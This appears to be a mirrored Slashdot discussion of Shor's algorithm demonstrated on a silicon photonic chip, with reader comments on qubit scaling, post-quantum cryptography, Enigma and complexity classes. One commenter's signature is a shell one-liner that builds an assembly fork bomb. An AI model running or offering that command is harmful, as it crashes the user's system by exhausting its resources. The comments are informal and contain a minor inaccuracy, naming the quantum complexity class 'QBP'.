Slashdot Mirror
Code-Breaking Quantum Algorithm On a Silicon Chip
Urchin writes "Shor's quantum algorithm, which offers a way to crack the commonly-used RSA encryption algorithm, has been demonstrated on a silicon chip for the first time. The algorithm was first demonstrated on large tabletop arrays 3 years ago, but the photonic quantum circuit can now be printed relatively easily onto a silicon chip just 26 mm long. You can see the abstract from the team's academic paper in the journal Science; the full text requires a subscription."
So, this is really impressive. I'd also like to know how many (useful, as opposed to error checking) qbits they can manipulate in total using this technique, and traditional techniques, for that matter. Those are the big limiting factors in this technique's use.
Side question: Which asymmetrical encryption algorithms are safe(er) against quantum algorithms (Some algorithms do not benefit from a tremendous quantum speedup, only a large one)?
md5sum
d41d8cd98f00b204e9800998ecf8427e
The IBM test-tube quantum computer from a while back used the spins of several atoms in a specially-crafted molecule as qubits. This one is "an integrated waveguide silica-on-silicon chip that guides four single-photon qubits through the computation". Does this approach scale better to larger numbers of qubits than do designer molecules?
shortly after, secret service agencies worldwide have decided to make the day a holiday and call it man in the middle day (MIM)
Never antropomorphize computers, they do not like that
They only factored the number 15 here as well--- in fact what they implemented was a version of the algorithm compiled to a specialized implementation for the input "15". Their claim from why it's an improvement is (from the full article):
Essentially they claim that, while their demonstration here is as small-scale as the previous ones, it's at least plausible that it might scale up, while the previous demonstrations have inherent limitations that prevent them from scaling up.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
int a = 0, b = 0;
if (x == 14) { a = 2; b = 7; }
else
if (x == 15) { a = 3; b = 5; }
if (a == 0)
printf ("%s\n", "more funds required");
else
printf ("%d, %d\n", a, b);
Unless you're using 3 and 5 for your factors, I think you're safe for now...
All Discrete-Logarithm and Factoring based public key algorithms are vulnerable.
THe current known safe alternatives are hash-based (Merkle), code based (e.g. McEliece), lattice based (NTRU) or multivariate equation based (HFE). All of them have quite the disadvantages and comparatively less research on them.
That's the kinda factors an idiot would have on his luggage.
You really don't understand the impact world wide reliable and fast code breaking has. Cryptology has won wars.
my darknet effectively utilities rsa/blowfish. not for long apparently.
No worries. We'll change it for you, Steve O'Connel from 42 Elmwood Ave., Chicago. You should take the night off - you're girlfriend will be ordering out for burritos. Bad news though, she's renting a chick flick.
Thanks,
NSA
Anything above "4" is represented as "A Suffusion of Yellow"
Outside of science fiction novels, where did it do that? If you're thinking of WWII, the Allies had a gigantically larger industrial base than the Axis could ever summon, and basically won by throwing enough men and materiel at the problem. At most, crypto might have shortened that war, but even that's not crystal clear.
Breaking Enigma helped get those men and materiel past the U-boats. If they hadn't D-day wouldn't have happened (and it was almost a failure even with the resource there) and the Germans wouldn't have been caught in a pincer between the allies and the soviets. I wouldn't discount its influence.
If all else fails, immortality can always be assured by spectacular error.
http://en.wikipedia.org/wiki/Ultra#Battle_of_the_Atlantic
It is commonly claimed that breaking of German Naval Enigma shortened the war by a year, but given its effects on the Second Battle of the Atlantic alone, that might be an underestimate.
An exhibit in 2003 on "Secret War" at the Imperial War Museum, in London, quoted British Prime Minister Winston Churchill telling King George VI, "It was thanks to Ultra that we won the war." Churchill's greatest fear, even after Hitler had suspended Operation Sealion and invaded the Soviet Union, was that the German submarine wolf packs would succeed in strangling sea-locked Britain. He would later write, in Their Finest Hour (1949), "The only thing that ever really frightened me during the war was the U-boat peril." A major factor that averted Britain's defeat in the Battle of the Atlantic was her regained mastery of Naval Enigma decryption.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You're right, it isn't currently known either way.
To review briefly,
P problems are those solvable in polynomial time on a regular computer.
NP problems are (one definition) those verifiable in polynomial time on regular computers. That is, if you gave the answer to the problem, in polynomial time I could tell you if it was the correct one.
QBP problems are those solvable in polynomial time on a quantum computer.
It is not known whether any of these classes are equivalent. However, the possibilities are constrained by,
NP-complete, which are problems in NP to which all other NP problems can be reduced (provably!) in polynomial time.
Traveling salesman is NP-complete. Therefore, if we found a polynomial-time algorithm on regular computers, P = NP. If we found a polynomial-time algorithm on quantum computers, QBP = NP.
Integer factorization is in NP, but not known to be either NP-complete or in P. Therefore, a polynomial-time algorithm on regular computers could exist without P = NP--- but we don't know of one. Shor's algorithm (the subject of this article) is a polynomial-time algorithm for quantum computers, so integer factorization is in QBP. However, since integer factorization isn't NP-complete, this doesn't have any implications for whether QBP = NP or not.
So it's not provably known that integer factorization is easier than traveling salesman on any kind of computer. But on quantum computers, the fastest known integer factorization algorithm is polynomial, while the only way we could do that for traveling salesman is if QBP = NP. On regular computers, no polynomial algorithm is known for either problem. But in a sense it'd be more surprising if one were found for traveling salesman, because that would imply P = NP... while finding one for integer factorization wouldn't have such wide-ranging implications on other problems (though it might have implications for other not-yet-known-to-be-in-P problems, if the technique were transferable).
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
It's only frightening when operating a quantum computer becomes trivial.
"Congratulations on your purchase. To begin using your quantum computer, set the power switch to both off and on simultaneously."